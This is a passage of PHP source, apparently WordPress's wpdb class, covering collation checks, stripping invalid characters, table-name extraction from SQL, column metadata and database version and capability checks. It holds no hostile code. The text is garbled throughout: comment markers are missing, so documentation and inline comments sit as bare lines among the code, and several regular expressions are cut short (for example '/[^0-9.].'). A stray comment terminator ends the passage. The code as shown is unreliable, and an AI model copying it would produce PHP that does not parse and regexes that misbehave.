case 'mediumblob':
case 'mediumtext':
return array(
'type' => 'byte',
'length' => 16777215, 2^24 - 1
);
case 'longblob':
case 'longtext':
return array(
'type' => 'byte',
'length' => 4294967295, 2^32 - 1
);
default:
return false;
}
}
*
* Checks if a string is ASCII.
*
* The negative regex is faster for non-ASCII strings, as it allows
* the search to finish as soon as it encounters a non-ASCII character.
*
* @since 4.2.0
*
* @param string $string String to check.
* @return bool True if ASCII, false if not.
protected function check_ascii( $string ) {
if ( function_exists( 'mb_check_encoding' ) ) {
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
} elseif ( ! preg_match( '/[^\x00-\x7F]/', $string ) ) {
return true;
}
return false;
}
*
* Checks if the query is accessing a collation considered safe on the current version of MySQL.
*
* @since 4.2.0
*
* @param string $query The query to check.
* @return bool True if the collation is safe, false if it isn't.
protected function check_safe_collation( $query ) {
if ( $this->checking_collation ) {
return true;
}
We don't need to check the collation for queries that don't read data.
$query = ltrim( $query, "\r\n\t (" );
if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) {
return true;
}
All-ASCII queries don't need extra checking.
if ( $this->check_ascii( $query ) ) {
return true;
}
$table = $this->get_table_from_query( $query );
if ( ! $table ) {
return false;
}
$this->checking_collation = true;
$collation = $this->get_table_charset( $table );
$this->checking_collation = false;
Tables with no collation, or latin1 only, don't need extra checking.
if ( false === $collation || 'latin1' === $collation ) {
return true;
}
$table = strtolower( $table );
if ( empty( $this->col_meta[ $table ] ) ) {
return false;
}
If any of the columns don't have one of these collations, it needs more sanity checking.
$safe_collations = array(
'utf8_bin',
'utf8_general_ci',
'utf8mb3_bin',
'utf8mb3_general_ci',
'utf8mb4_bin',
'utf8mb4_general_ci',
);
foreach ( $this->col_meta[ $table ] as $col ) {
if ( empty( $col->Collation ) ) {
continue;
}
if ( ! in_array( $col->Collation, $safe_collations, true ) ) {
return false;
}
}
return true;
}
*
* Strips any invalid characters based on value/charset pairs.
*
* @since 4.2.0
*
* @param array $data Array of value arrays. Each value array has the keys 'value' and 'charset'.
* An optional 'ascii' key can be set to false to avoid redundant ASCII checks.
* @return array|WP_Error The $data parameter, with invalid characters removed from each value.
* This works as a passthrough: any additional keys such as 'field' are
* retained in each value array. If we cannot remove invalid characters,
* a WP_Error object is returned.
protected function strip_invalid_text( $data ) {
$db_check_string = false;
foreach ( $data as &$value ) {
$charset = $value['charset'];
if ( is_array( $value['length'] ) ) {
$length = $value['length']['length'];
$truncate_by_byte_length = 'byte' === $value['length']['type'];
} else {
$length = false;
Since we have no length, we'll never truncate. Initialize the variable to false.
True would take us through an unnecessary (for this case) codepath below.
$truncate_by_byte_length = false;
}
There's no charset to work with.
if ( false === $charset ) {
continue;
}
Column isn't a string.
if ( ! is_string( $value['value'] ) ) {
continue;
}
$needs_validation = true;
if (
latin1 can store any byte sequence.
'latin1' === $charset
||
ASCII is always OK.
( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) )
) {
$truncate_by_byte_length = true;
$needs_validation = false;
}
if ( $truncate_by_byte_length ) {
mbstring_binary_safe_encoding();
if ( false !== $length && strlen( $value['value'] ) > $length ) {
$value['value'] = substr( $value['value'], 0, $length );
}
reset_mbstring_encoding();
if ( ! $needs_validation ) {
continue;
}
}
utf8 can be handled by regex, which is a bunch faster than a DB lookup.
if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) {
$regex = '/
(
(?: [\x00-\x7F] # single-byte sequences 0xxxxxxx
| [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx
| \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2
| [\xE1-\xEC][\x80-\xBF]{2}
| \xED[\x80-\x9F][\x80-\xBF]
| [\xEE-\xEF][\x80-\xBF]{2}';
if ( 'utf8mb4' === $charset ) {
$regex .= '
| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3
| [\xF1-\xF3][\x80-\xBF]{3}
| \xF4[\x80-\x8F][\x80-\xBF]{2}
';
}
$regex .= '){1,40} # ...one or more times
)
| . # anything else
/x';
$value['value'] = preg_replace( $regex, '$1', $value['value'] );
if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) {
$value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' );
}
continue;
}
We couldn't use any local conversions, send it to the DB.
$value['db'] = true;
$db_check_string = true;
}
unset( $value ); Remove by reference.
if ( $db_check_string ) {
$queries = array();
foreach ( $data as $col => $value ) {
if ( ! empty( $value['db'] ) ) {
We're going to need to truncate by characters or bytes, depending on the length value we have.
if ( isset( $value['length']['type'] ) && 'byte' === $value['length']['type'] ) {
Using binary causes LEFT() to truncate by bytes.
$charset = 'binary';
} else {
$charset = $value['charset'];
}
if ( $this->charset ) {
$connection_charset = $this->charset;
} else {
if ( $this->use_mysqli ) {
$connection_charset = mysqli_character_set_name( $this->dbh );
} else {
$connection_charset = mysql_client_encoding();
}
}
if ( is_array( $value['length'] ) ) {
$length = sprintf( '%.0f', $value['length']['length'] );
$queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING $connection_charset )", $value['value'] );
} elseif ( 'binary' !== $charset ) {
If we don't have a length, there's no need to convert binary - it will always return the same result.
$queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING $charset ) USING $connection_charset )", $value['value'] );
}
unset( $data[ $col ]['db'] );
}
}
$sql = array();
foreach ( $queries as $column => $query ) {
if ( ! $query ) {
continue;
}
$sql[] = $query . " AS x_$column";
}
$this->check_current_query = false;
$row = $this->get_row( 'SELECT ' . implode( ', ', $sql ), ARRAY_A );
if ( ! $row ) {
return new WP_Error( 'wpdb_strip_invalid_text_failure', __( 'Could not strip invalid text.' ) );
}
foreach ( array_keys( $data ) as $column ) {
if ( isset( $row[ "x_$column" ] ) ) {
$data[ $column ]['value'] = $row[ "x_$column" ];
}
}
}
return $data;
}
*
* Strips any invalid characters from the query.
*
* @since 4.2.0
*
* @param string $query Query to convert.
* @return string|WP_Error The converted query, or a WP_Error object if the conversion fails.
protected function strip_invalid_text_from_query( $query ) {
We don't need to check the collation for queries that don't read data.
$trimmed_query = ltrim( $query, "\r\n\t (" );
if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) {
return $query;
}
$table = $this->get_table_from_query( $query );
if ( $table ) {
$charset = $this->get_table_charset( $table );
if ( is_wp_error( $charset ) ) {
return $charset;
}
We can't reliably strip text from tables containing binary/blob columns.
if ( 'binary' === $charset ) {
return $query;
}
} else {
$charset = $this->charset;
}
$data = array(
'value' => $query,
'charset' => $charset,
'ascii' => false,
'length' => false,
);
$data = $this->strip_invalid_text( array( $data ) );
if ( is_wp_error( $data ) ) {
return $data;
}
return $data[0]['value'];
}
*
* Strips any invalid characters from the string for a given table and column.
*
* @since 4.2.0
*
* @param string $table Table name.
* @param string $column Column name.
* @param string $value The text to check.
* @return string|WP_Error The converted string, or a WP_Error object if the conversion fails.
public function strip_invalid_text_for_column( $table, $column, $value ) {
if ( ! is_string( $value ) ) {
return $value;
}
$charset = $this->get_col_charset( $table, $column );
if ( ! $charset ) {
Not a string column.
return $value;
} elseif ( is_wp_error( $charset ) ) {
Bail on real errors.
return $charset;
}
$data = array(
$column => array(
'value' => $value,
'charset' => $charset,
'length' => $this->get_col_length( $table, $column ),
),
);
$data = $this->strip_invalid_text( $data );
if ( is_wp_error( $data ) ) {
return $data;
}
return $data[ $column ]['value'];
}
*
* Finds the first table name referenced in a query.
*
* @since 4.2.0
*
* @param string $query The query to search.
* @return string|false The table name found, or false if a table couldn't be found.
protected function get_table_from_query( $query ) {
Remove characters that can legally trail the table name.
$query = rtrim( $query, ';/-#' );
Allow (select...) union [...] style queries. Use the first query's table name.
$query = ltrim( $query, "\r\n\t (" );
Strip everything between parentheses except nested selects.
$query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', $query );
Quickly match most common queries.
if ( preg_match(
'/^\s*(?:'
. 'SELECT.*?\s+FROM'
. '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?'
. '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?'
. '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?'
. '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:.+?FROM)?'
. ')\s+((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)/is',
$query,
$maybe
) ) {
return str_replace( '`', '', $maybe[1] );
}
SHOW TABLE STATUS and SHOW TABLES WHERE Name = 'wp_posts'
if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES).+WHERE\s+Name\s*=\s*("|\')((?:[0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)\\1/is', $query, $maybe ) ) {
return $maybe[2];
}
* SHOW TABLE STATUS LIKE and SHOW TABLES LIKE 'wp\_123\_%'
* This quoted LIKE operand seldom holds a full table name.
* It is usually a pattern for matching a prefix so we just
* strip the trailing % and unescape the _ to get 'wp_123_'
* which drop-ins can use for routing these SQL statements.
if ( preg_match( '/^\s*SHOW\s+(?:TABLE\s+STATUS|(?:FULL\s+)?TABLES)\s+(?:WHERE\s+Name\s+)?LIKE\s*("|\')((?:[\\\\0-9a-zA-Z$_.-]|[\xC2-\xDF][\x80-\xBF])+)%?\\1/is', $query, $maybe ) ) {
return str_replace( '\\_', '_', $maybe[2] );
}
Big pattern for the rest of the table-related queries.
if ( preg_match(
'/^\s*(?:'
. '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM'
. '|DESCRIBE|DESC|EXPLAIN|HANDLER'
. '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?'
. '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE'
. '|TRUNCATE(?:\s+TABLE)?'
. '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?'
. '|ALTER(?:\s+IGNORE)?\s+TABLE'
. '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?'
. '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON'
. '|DROP\s+INDEX.*\s+ON'
. '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE'
. '|(?:GRANT|REVOKE).*ON\s+TABLE'
. '|SHOW\s+(?:.*FROM|.*TABLE)'
. ')\s+\(*\s*((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\s*\)is',
$query,
$maybe
) ) {
return str_replace( '`', '', $maybe[1] );
}
return false;
}
*
* Loads the column metadata from the last query.
*
* @since 3.5.0
protected function load_col_info() {
if ( $this->col_info ) {
return;
}
if ( $this->use_mysqli ) {
$num_fields = mysqli_num_fields( $this->result );
for ( $i = 0; $i < $num_fields; $i++ ) {
$this->col_info[ $i ] = mysqli_fetch_field( $this->result );
}
} else {
$num_fields = mysql_num_fields( $this->result );
for ( $i = 0; $i < $num_fields; $i++ ) {
$this->col_info[ $i ] = mysql_fetch_field( $this->result, $i );
}
}
}
*
* Retrieves column metadata from the last query.
*
* @since 0.71
*
* @param string $info_type Optional. Possible values include 'name', 'table', 'def', 'max_length',
* 'not_null', 'primary_key', 'multiple_key', 'unique_key', 'numeric',
* 'blob', 'type', 'unsigned', 'zerofill'. Default 'name'.
* @param int $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length.
* 3: if the col is numeric. 4: col's type. Default -1.
* @return mixed Column results.
public function get_col_info( $info_type = 'name', $col_offset = -1 ) {
$this->load_col_info();
if ( $this->col_info ) {
if ( -1 === $col_offset ) {
$i = 0;
$new_array = array();
foreach ( (array) $this->col_info as $col ) {
$new_array[ $i ] = $col->{$info_type};
$i++;
}
return $new_array;
} else {
return $this->col_info[ $col_offset ]->{$info_type};
}
}
}
*
* Starts the timer, for debugging purposes.
*
* @since 1.5.0
*
* @return true
public function timer_start() {
$this->time_start = microtime( true );
return true;
}
*
* Stops the debugging timer.
*
* @since 1.5.0
*
* @return float Total time spent on the query, in seconds.
public function timer_stop() {
return ( microtime( true ) - $this->time_start );
}
*
* Wraps errors in a nice header and footer and dies.
*
* Will not die if wpdb::$show_errors is false.
*
* @since 1.5.0
*
* @param string $message The error message.
* @param string $error_code Optional. A computer-readable string to identify the error.
* Default '500'.
* @return void|false Void if the showing of errors is enabled, false if disabled.
public function bail( $message, $error_code = '500' ) {
if ( $this->show_errors ) {
$error = '';
if ( $this->use_mysqli ) {
if ( $this->dbh instanceof mysqli ) {
$error = mysqli_error( $this->dbh );
} elseif ( mysqli_connect_errno() ) {
$error = mysqli_connect_error();
}
} else {
if ( is_resource( $this->dbh ) ) {
$error = mysql_error( $this->dbh );
} else {
$error = mysql_error();
}
}
if ( $error ) {
$message = '<p><code>' . $error . "</code></p>\n" . $message;
}
wp_die( $message );
} else {
if ( class_exists( 'WP_Error', false ) ) {
$this->error = new WP_Error( $error_code, $message );
} else {
$this->error = $message;
}
return false;
}
}
*
* Closes the current database connection.
*
* @since 4.5.0
*
* @return bool True if the connection was successfully closed,
* false if it wasn't, or if the connection doesn't exist.
public function close() {
if ( ! $this->dbh ) {
return false;
}
if ( $this->use_mysqli ) {
$closed = mysqli_close( $this->dbh );
} else {
$closed = mysql_close( $this->dbh );
}
if ( $closed ) {
$this->dbh = null;
$this->ready = false;
$this->has_connected = false;
}
return $closed;
}
*
* Determines whether MySQL database is at least the required minimum version.
*
* @since 2.5.0
*
* @global string $wp_version The WordPress version string.
* @global string $required_mysql_version The required MySQL version string.
* @return void|WP_Error
public function check_database_version() {
global $wp_version, $required_mysql_version;
Make sure the server has the required MySQL version.
if ( version_compare( $this->db_version(), $required_mysql_version, '<' ) ) {
translators: 1: WordPress version number, 2: Minimum required MySQL version number.
return new WP_Error( 'database_version', sprintf( __( '<strong>Error:</strong> WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ) );
}
}
*
* Determines whether the database supports collation.
*
* Called when WordPress is generating the table scheme.
*
* Use `wpdb::has_cap( 'collation' )`.
*
* @since 2.5.0
* @deprecated 3.5.0 Use wpdb::has_cap()
*
* @return bool True if collation is supported, false if not.
public function supports_collation() {
_deprecated_function( __FUNCTION__, '3.5.0', 'wpdb::has_cap( \'collation\' )' );
return $this->has_cap( 'collation' );
}
*
* Retrieves the database character collate.
*
* @since 3.5.0
*
* @return string The database character collate.
public function get_charset_collate() {
$charset_collate = '';
if ( ! empty( $this->charset ) ) {
$charset_collate = "DEFAULT CHARACTER SET $this->charset";
}
if ( ! empty( $this->collate ) ) {
$charset_collate .= " COLLATE $this->collate";
}
return $charset_collate;
}
*
* Determines whether the database or WPDB supports a particular feature.
*
* Capability sniffs for the database server and current version of WPDB.
*
* Database sniffs are based on the version of MySQL the site is using.
*
* WPDB sniffs are added as new features are introduced to allow theme and plugin
* developers to determine feature support. This is to account for drop-ins which may
* introduce feature support at a different time to WordPress.
*
* @since 2.7.0
* @since 4.1.0 Added support for the 'utf8mb4' feature.
* @since 4.6.0 Added support for the 'utf8mb4_520' feature.
*
* @see wpdb::db_version()
*
* @param string $db_cap The feature to check for. Accepts 'collation', 'group_concat',
* 'subqueries', 'set_charset', 'utf8mb4', or 'utf8mb4_520'.
* @return bool True when the database feature is supported, false otherwise.
public function has_cap( $db_cap ) {
$db_version = $this->db_version();
$db_server_info = $this->db_server_info();
Account for MariaDB version being prefixed with '5.5.5-' on older PHP versions.
if ( '5.5.5' === $db_version && str_contains( $db_server_info, 'MariaDB' )
&& PHP_VERSION_ID < 80016 PHP 8.0.15 or older.
) {
Strip the '5.5.5-' prefix and set the version to the correct value.
$db_server_info = preg_replace( '/^5\.5\.5-(.*)/', '$1', $db_server_info );
$db_version = preg_replace( '/[^0-9.].', '', $db_server_info );
}
switch ( strtolower( $db_cap ) ) {
case 'collation': @since 2.5.0
case 'group_concat': @since 2.7.0
case 'subqueries': @since 2.7.0
return version_compare( $db_version, '4.1', '>=' );
case 'set_charset':
return version_compare( $db_version, '5.0.7', '>=' );
case 'utf8mb4': @since 4.1.0
if ( version_compare( $db_version, '5.5.3', '<' ) ) {
return false;
}
if ( $this->use_mysqli ) {
$client_version = mysqli_get_client_info();
} else {
$client_version = mysql_get_client_info();
}
* libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server.
* mysqlnd has supported utf8mb4 since 5.0.9.
if ( false !== strpos( $client_version, 'mysqlnd' ) ) {
$client_version = preg_replace( '/^\D+([\d.]+).', '$1', $client_version );
return version_compare( $client_version, '5.0.9', '>=' );
} else {
return version_compare( $client_version, '5.5.3', '>=' );
}
case 'utf8mb4_520': @since 4.6.0
return version_compare( $db_version, '5.6', '>=' );
}
return false;
}
*
* Retrieves a comma-separated list of the names of the functions that called wpdb.
*
* @since 2.5.0
*
* @return string Comma-separated list of the calling functions.
public function get_caller() {
return wp_debug_backtrace_summary( __CLASS__ );
}
*
* Retrieves the database server version.
*
* @since 2.7.0
*
* @return string|null Version number on success, null on failure.
public function db_version() {
return preg_replace( '/[^0-9.].', '', $this->db_server_info() );
}
*
* Retrieves full database server information.
*
* @since 5.5.0
*
* @return string|false Server info on success, false on failure.
public function db_server_info() {
if ( $this->use_mysqli ) {
$server_info = mysqli_get_server_info( $this->dbh );
} else {
$server_info = mysql_get_server_info( $this->dbh );
}
return $server_info;
}
}
*/